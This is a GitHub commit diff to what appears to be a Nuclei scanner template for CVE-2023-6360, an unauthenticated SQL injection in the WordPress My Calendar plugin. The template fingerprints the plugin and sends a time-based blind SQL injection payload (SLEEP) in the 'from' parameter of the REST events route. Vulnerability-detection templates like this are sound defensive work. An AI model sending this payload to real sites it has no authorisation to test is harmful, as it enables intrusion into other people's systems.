added flow

patch-1
Dhiyaneshwaran 2024-02-01 15:47:48 +05:30 committed by GitHub
parent 6ecaf432c0
commit eaa0cfaf3c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 19 additions and 5 deletions

View File

@ -2,7 +2,7 @@ id: CVE-2023-6360
info: info:
name: WordPress My Calendar <3.4.22 - Unauthenticated SQL Injection name: WordPress My Calendar <3.4.22 - Unauthenticated SQL Injection
author: community author: xxcdd
severity: high severity: high
description: | description: |
WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route. WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.
@ -21,16 +21,30 @@ info:
cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:* cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
metadata: metadata:
fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"' fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"'
tags: sql-injection,wordpress,wp-plugin,cve,cve2023,calendar verified: true
tags: cve,cve2023,sqli,wordpress,wpscan,wp-plugin,my-calendar
flow: http(1) && http(2)
http: http:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/" - "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"
matchers:
- type: word
internal: true
words:
- 'My Calendar'
- method: GET
path:
- "{{BaseURL}}/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a" - "{{BaseURL}}/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a"
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'contains(body_1, "wp-content/plugins/my-calendar")' - 'contains(header, "application/json")'
- 'duration_2 >= 6' - 'contains(body, "[]")'
- 'duration >= 6'
condition: and condition: and